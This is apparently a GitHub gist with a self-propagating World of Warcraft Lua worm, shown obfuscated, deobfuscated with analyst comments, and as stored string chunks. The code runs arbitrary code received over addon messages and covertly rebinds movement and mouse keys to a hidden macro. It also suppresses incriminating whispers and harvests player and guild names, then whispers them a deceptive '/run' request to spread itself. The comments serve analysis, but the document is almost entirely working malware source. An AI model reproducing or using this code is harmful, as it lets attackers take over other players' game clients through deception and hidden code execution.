Skip to content

Instantly share code, notes, and snippets.

@Sharparam
Last active July 22, 2021 00:01
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Sharparam/11a3cddeaa51aa11dde69b46908bccd7 to your computer and use it in GitHub Desktop.
Save Sharparam/11a3cddeaa51aa11dde69b46908bccd7 to your computer and use it in GitHub Desktop.
Blizzard_CombatLog_Filters = Blizzard_CombatLog_Filters or {}
local s, g, w, j, k, c, f, u, x, q, r, l = Blizzard_CombatLog_Filters,
GetNumMacros,
[[
z = z or CreateFrame('button')
z:RegisterEvent('CHAT_MSG_ADDON')
z:SetScript('OnEvent',function(_, _, _, m)
pcall(loadstring(m))
end)
]],
SendChatMessage,
SendAddonMessage,
UnitName('player'):sub(1,2),
ChatFrame_AddMessageEventFilter,
function(_, _, m)
return m:match('nSc') or m:match('^z=') or m:match('ByN')
end,
CreateFrame('frame'),
{}
r, l = function() for b, a in pairs(s.h or {}) do SetBinding(b, a) end end,
function(_, m)
if not m then
s.h = {}
for i, b in pairs({'BUTTON1', 'BUTTON2', 'W', 'A', 'S', 'D', 'ESCAPE', '/', 'ENTER'}) do
s.h[b] = GetBindingByKey(b)
SetBinding(b, 'MACRO \\124r')
end
SaveBindings(1, 1)
r()
end
end
RunScript(w)
RegisterAddonMessagePrefix(c)
s.z = s.z or z
DeleteMacro('\\124r')
CreateMacro('\\124r', 1, '/run RunScript(strjoin("",unpack(Blizzard_CombatLog_Filters.z)))')
GetNumMacros = function(a, b) a, b = g() return a - 1, b end
r()
l()
hooksecurefunc('SaveBindings', l)
LoadBindings = r
f('CHAT_MSG_CHANNEL', function(_, _, m, n)
if m == '~' then
JoinChannelByName(n:sub(1, 2))
end
end)
f('CHAT_MSG_WHISPER_INFORM', u)
f('CHAT_MSG_WHISPER', u)
x:RegisterEvent('CHAT_MSG_CHANNEL_JOIN')
x:SetScript('OnEvent',function(x, y, _, n, _, _, _, _, _, _, e)
if e == c then
j(w .. 'LeaveChannelByName"' .. c .. '"RegisterAddonMessagePrefix"' .. c .. '"', 'WHISPER', '', n)
C_Timer.After(5, function()
for i = 1, #s.z do
k(c, 'z[' .. i .. '] = [' .. '[' .. s.z[i] .. ']' .. ']', 'WHISPER', n)
end
k(c, 'RunScript(strjoin("", unpack(z))) gsub = string.gsub', 'WHISPER', n)
end)
end
end)
FriendsFrame:UnregisterEvent('WHO_LIST_UPDATE')
C_Timer.NewTicker(60, function()
JoinChannelByName(c)
SendWho('100 ' .. strchar(random(97, 122)))
for i = 1, 50 do
i = GetWhoInfo(i) or 0
q[i] = q[i] or 0
end
for i = 1, 500 do
i = { GetGuildRosterInfo(i) }
i = i[9] and i[1] or 0
q[i] = q[i] or 0
end
end)
C_Timer.NewTicker(8,function()
q[0] = nil
for n, v in pairs(q) do
if v ~= 1 then
j("Hey, can you type '/run gsub=RunScript' for me, just testing something.", 'WHISPER', '', n)
C_Timer.After(80, function()
j('JoinChannelByName"' .. c .. '"', 'WHISPER', '', n)
end)
q[n] = 1
return
end
end
end)
-- Deobfuscated version of source.lua.
Blizzard_CombatLog_Filters = Blizzard_CombatLog_Filters or {}
local filters = Blizzard_CombatLog_Filters
local orig_GetNumMacros = GetNumMacros
-- This will cause the player to loadstring any message that arrives via
-- SendAddonMessage.
local setup = [[
z = z or CreateFrame('button')
z:RegisterEvent('CHAT_MSG_ADDON')
z:SetScript('OnEvent', function(frame, event, prefix, message)
pcall(loadstring(m))
end)
]]
local player = UnitName('player'):sub(1,2) -- First two letters of the player's name
local frame = CreateFrame('frame')
-- This table seems to be used to keep a list of players and whether
-- they have been sent a request to run the script
local players = {}
local new_LoadBindings = function()
for key, command in pairs(filters.h or {}) do
SetBinding(key, command)
end
end
-- The hook is setup to execute after SaveBindings is called, and will make
-- the keys/buttons listed in the table passed to pairs run the defined macro.
-- The original binding is stored in filters.h.
--
-- The standard SaveBindings is called at the end, but with an additional
-- parameter set to "1", which isn't used in the original function. This seems
-- to be used in order to prevent an infinite loop.
--
-- The way this is set up (from what I can gather), is that this will load
-- the modified bindings the next time the user logs in, and then restore the
-- actual bindings, meaning that the user likely will not notice that the
-- bindings have been messed with.
local SaveBindings_hook = function(which, m)
if not m then
filters.h = {}
for i, key in pairs({'BUTTON1', 'BUTTON2', 'W', 'A', 'S', 'D', 'ESCAPE', '/', 'ENTER'}) do
filters.h[key] = GetBindingByKey(key)
SetBinding(key, 'MACRO \\124r')
end
SaveBindings(1, 1)
new_LoadBindings()
end
end
RunScript(setup)
RegisterAddonMessagePrefix(player)
filters.z = filters.z or z
DeleteMacro('\\124r')
CreateMacro('\\124r', 1, '/run RunScript(strjoin("",unpack(Blizzard_CombatLog_Filters.z)))')
-- This seems to achieve the effect of hiding the existence of the macro
-- to the user
GetNumMacros = function(global, perChar)
global, perChar = orig_GetNumMacros()
return global - 1, perChar
end
new_LoadBindings()
SaveBindings_hook()
hooksecurefunc('SaveBindings', SaveBindings_hook)
LoadBindings = new_LoadBindings
ChatFrame_AddMessageEventFilter('CHAT_MSG_CHANNEL', function(chatFrame, event, message, sender)
if message == '~' then
JoinChannelByName(sender:sub(1, 2))
end
end)
local filterFunc = function(chatFrame, event, message)
-- The patterns seem to be for matching "RunScript", assigning to the z
-- variable, and "JoinChannelByName" as well as "LeaveChannelByName"
return message:match('nSc') or message:match('^z=') or message:match('ByN')
end
ChatFrame_AddMessageEventFilter('CHAT_MSG_WHISPER_INFORM', filterFunc)
ChatFrame_AddMessageEventFilter('CHAT_MSG_WHISPER', filterFunc)
frame:RegisterEvent('CHAT_MSG_CHANNEL_JOIN')
-- joinee: The player that joined
frame:SetScript('OnEvent', function(frame, event, _, joinee, _, _, _, _, _, _, channel)
if channel == player then
SendChatMessage(setup .. 'LeaveChannelByName"' .. player .. '"RegisterAddonMessagePrefix"' .. player .. '"', 'WHISPER', '', joinee)
C_Timer.After(5, function()
for i = 1, #filters.z do
SendAddonMessage(player, 'z[' .. i .. ']=[' .. '[' .. filters.z[i] .. ']' .. ']', 'WHISPER', joinee)
end
SendAddonMessage(player, 'RunScript(strjoin("", unpack(z))) gsub = string.gsub', 'WHISPER', joinee)
end)
end
end)
-- Prevents the friends list from being updated?
-- Or prevents the WHO frame from displaying its results?
FriendsFrame:UnregisterEvent('WHO_LIST_UPDATE')
-- Runs every 60 seconds to retrieve new players to send the script to
C_Timer.NewTicker(60, function()
JoinChannelByName(player)
-- Sends a who request to query players that are level 100
-- with a name starting with a random character between 'a' and 'z'
SendWho('100 ' .. strchar(random(97, 122)))
for i = 1, 50 do
i = GetWhoInfo(i) or 0
players[i] = players[i] or 0
end
for i = 1, 500 do
i = { GetGuildRosterInfo(i) }
-- i[1] is the player's name
-- i[9] indicates if the player is online
i = i[9] and i[1] or 0
players[i] = players[i] or 0
end
end)
-- Every 8 seconds, send the script message to any player that hasn't
-- already gotten it sent to them.
C_Timer.NewTicker(8, function()
-- players[0] is garbage data from offline guild members
players[0] = nil
for name, flag in pairs(players) do
if flag ~= 1 then
SendChatMessage("Hey, can you type '/run gsub=RunScript' for me, just testing something.", 'WHISPER', '', name)
C_Timer.After(80, function()
SendChatMessage('JoinChannelByName"' .. player .. '"', 'WHISPER', '', name)
end)
players[name] = 1
return
end
end
end)
"Blizzard_CombatLog_Filters=Blizzard_CombatLog_Filters or{}local s,g,w,j,k,c,f,u,x,q,r,l=Blizzard_CombatLog_Filters,GetNumMacros,\"z=z or CreateFrame('button')z:RegisterEvent'CHAT_MSG_ADDON'z:SetScript('OnEvent',function(_,_,_,m)pcall(loadst", -- [1]
"ring(m))end)\",SendChatMessage,SendAddonMessage,UnitName'player':sub(1,2),ChatFrame_AddMessageEventFilter,function(_,_,m)return(m:match'nSc'or m:match'^z='or m:match'ByN')end,CreateFrame'frame',{}r,l=function()for b,a in pairs(s.h or{})do S", -- [2]
"etBinding(b,a)end end,function(_,m)if not m then s.h={}for i,b in pairs({'BUTTON1','BUTTON2','W','A','S','D','ESCAPE','/','ENTER'})do s.h[b]=GetBindingByKey(b)SetBinding(b,'MACRO \\124r')end SaveBindings(1,1)r()end end RunScript(w)RegisterA", -- [3]
"ddonMessagePrefix(c)s.z=s.z or z DeleteMacro('\\124r')CreateMacro('\\124r',1,'/run RunScript(strjoin(\"\",unpack(Blizzard_CombatLog_Filters.z)))')GetNumMacros=function(a,b)a,b=g()return a-1,b;end r()l()hooksecurefunc('SaveBindings',l)LoadBi", -- [4]
"ndings=r f('CHAT_MSG_CHANNEL',function(_,_,m,n)if m=='~'then JoinChannelByName(n:sub(1,2))end end)f('CHAT_MSG_WHISPER_INFORM',u)f('CHAT_MSG_WHISPER',u)x:RegisterEvent'CHAT_MSG_CHANNEL_JOIN'x:SetScript('OnEvent',function(x,y,_,n,_,_,_,_,_,_,", -- [5]
"e)if e==c then j(w..'LeaveChannelByName\"'..c..'\"RegisterAddonMessagePrefix\"'..c..'\"','WHISPER','',n)C_Timer.After(5,function()for i=1,#s.z do k(c,'z['..i..']=['..'['..s.z[i]..']'..']','WHISPER',n)end k(c,'RunScript(strjoin(\"\",unpack(z", -- [6]
")))gsub=string.gsub','WHISPER',n)end)end end)FriendsFrame:UnregisterEvent'WHO_LIST_UPDATE'C_Timer.NewTicker(60,function()JoinChannelByName(c)SendWho('100 '..strchar(random(97,122)))for i=1,50 do i=GetWhoInfo(i)or 0;q[i]=q[i]or 0;end for i=1", -- [7]
",500 do i={GetGuildRosterInfo(i)}i=i[9]and i[1]or 0;q[i]=q[i]or 0;end end)C_Timer.NewTicker(8,function()q[0]=nil;for n,v in pairs(q)do if v~=1 then j(\"Hey, can you type '/run gsub=RunScript' for me, just testing something.\",'WHISPER','',n", -- [8]
")C_Timer.After(80,function()j('JoinChannelByName\"'..c..'\"','WHISPER','',n)end)q[n]=1;return;end end end)", -- [9]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment